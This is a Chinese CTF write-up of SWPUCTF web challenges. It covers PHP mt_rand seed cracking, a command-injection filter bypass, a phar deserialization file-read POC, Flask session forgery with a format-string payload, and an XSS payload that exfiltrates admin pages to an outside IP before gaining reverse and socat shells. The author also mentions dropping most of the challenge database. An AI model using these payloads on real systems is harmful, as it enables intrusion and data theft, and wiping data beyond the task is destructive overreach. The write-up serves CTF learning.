SWPUCTF-writeup

写这篇的时候正值期末考试期间,忙于复习,但是看到快要关环境还是抽时间在凌晨写了,比较匆忙。

用优惠码 买个 X ?

Description:

flag在/flag中

这题首先登录进去,发现题目给了一个优惠码enter description here然后有一个买手机的页面,把题目给的优惠码输进去,提示已经过期enter description here而且说要24位的优惠码,但是题目给的优惠码只有15位。扫一下,发现有www.zip,拿到关键源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

给了优惠码的生成机制,用的是mt_rand(),由此想到,可以由题目给的优惠码,推出随机数序列,从而爆破出种子。PHP随机数的安全性相关可以看这篇文章。推出随机数序列的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
b='y7gdPhQIq2BiVtl'
arr=[]
for i in b:
for k in a:
if i==k:
if b.index(i)<=7:
print a.index(i),
arr.append(a.index(i))
else:
print 62-a.index(i),
arr.append(62-a.index(i))

print ''
for i in arr:
print str(i)+' '+str(i)+' 0 61 ',

然后,送到php_mt_seed爆破出种子,注意这里有一定的格式要求,脚本也体现出来了。enter description here然后拿去生成24位的优惠码,把len改成24即可。enter description here注意php版本是7.2enter description here购买之后,到了一个新的页面enter description here从泄露的源码可以看到,有一定的waf,但是绕过比较简单,不赘述。payload:1.1.1.1%0aca\t /fl\agenter description here

Injection ???

Description

听说这是喜闻乐见的注入?

SimplePHP

Description:

West or east,php is best.

这是一道比较不错的反序列化题目,结合了比较多知识点。题目有查看文件和上传文件功能,查看文件处可以读源码。enter description here
关键代码如下:
function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
} ?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

读取不可访问属性的值时,__get() 会被调用。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串

利用链:反序列化使得C1e4r类的__destruct()被调用,把C1ear$str替换成Show的对象,然后Show__toString()会被调用,会去读取$this->str['str']->source,这里把str['str']替换成Test的对象,然后Test因为没有source,会调用__get,最终造成文件读取。
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php 
class C1e4r
{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}

$a=new Test();
$a->params=array('source'=>'/var/www/html');
$b=new Show('zxc');
$b->str=array('str'=>$a);
$c=new C1e4r('zxc');
$c->str=$b;
@unlink('shell.phar');
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetaData($c);
$phar->stopBuffering();
?>

file_exists的时候就完成了所有步骤
http://120.79.158.180:11115/file.php?file=phar://upload/f56426e6fcffd78dfa1b6c435acb333f.jpg/asd enter description hereenter description here

皇家线上赌场

Description:

惊!海南某大学学生沉迷赌博,竟干出这种事…

首先一进来题目就被弹窗了enter description here

游戏规则:
您有1万初始金额(可提现),请在10分钟内使用,否则账户重置。您可以在本平台认购游戏币,并且可以随时卖出。买入价为平台官方价格1元/币,卖出价随机,最小0.8/币,最大2/币封顶,多买多赚,只需10分钟,您就可以喜提flag,迎娶白富美,走上人生巅峰!!!

view source 有两个提示enter description here/source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)

很明显,views.py的那一段代码,就是拿来提示你怎么读文件的,这又是一个老话题enter description hereenter description here/proc/self/mounts可以读到路径enter description here但是读不到代码,只能读个req.txt,作用不大enter description here接下来用到一个重要技巧,Linux中/proc/self/cwd返回的是当前工作目录的符号链接,尝试一波读源码,发现可以。enter description here
__init__.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

伪造session(把用户名改成admin来绕过重置),session_cookie_manager.py有时候不是很行,用来解密可以,加密貌似toses.py比较稳enter description hereenter description here最后用这个payload get flagfield=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flagenter description here

有趣的邮箱注册

Description

1

题目有邮箱验证和后台管理功能,邮箱验证是把邮箱发给admin,由此想到XSS,后台管理功能暴露了admin.phpenter description hereview source可以看到部分代码enter description here可以看这篇文章绕过。可以用这个payload"<script/src=\'http://123.207.99.17/fuck.js\'></script>"@qq.com,或者直接里面不用引号"<script/src=//123.207.99.17/fuck.js></script>"@qq.com,然后常规payload去看admin.php有啥

1
2
3
4
5
6
7
8
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.location='http://123.207.99.17/xss?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open('GET','admin.php',true);
xmlhttp.send();

admin.php

1
<br /><a href="admin/a0a.php?cmd=whoami">

基本上可以确定a0a.php是可以命令执行的,改一下payload继续打

1
2
3
4
5
6
7
8
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.location='http://123.207.99.17/xss?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open('GET','a0a.php?cmd=whoami',true);
xmlhttp.send();

ls /:enter description here可以看到有一个flag文件,但是直接cat是读不了的,反弹shell,发现是权限问题enter description here这个文件属于flag用户enter description here然后试了下用socat反弹真正的交互式shell,成功了~就很舒服enter description hereenter description here继续读一下能读的代码
a0a.php

1
2
3
4
5
6
7
<?php
echo "your ip: $_SERVER[REMOTE_ADDR]";

include('local.php');

system($_GET['cmd']);
?>

local.php

1
2
3
4
<?php
if(@$_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost allowed!');
}

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include("local.php");
include("../conn.php");
$sql = "select * from message limit 1";
echo "<br />";
echo '<a href="admin/a0a.php?cmd=whoami">';
$query = mysqli_query($conn,$sql);

if($query) {
$row = mysqli_fetch_assoc($query);
if($row) {
echo '<a href="admin/validate.php">' . $row['email'] . '</a>';
$id = $row['id'];
mysqli_query($conn, "delete from message where id=$id");
}
}
?>

conn.php

1
2
3
4
5
6
7
8
<?php
$conn = mysqli_connect("localhost","ctf","sp4rkctf","ctf");
mysqli_set_charset($conn, 'utf8');
if (!$conn)
{
die("连接错误: " . mysqli_connect_error());
}
?>

然后使用强大的socat shell,直接连数据库enter description here但是很尴尬的是,数据库里面也没有flag。值得一提的是,数据库可以 root root登进去enter description here然后我顺手把数据库差不多drop完了,还给建了一个enter description here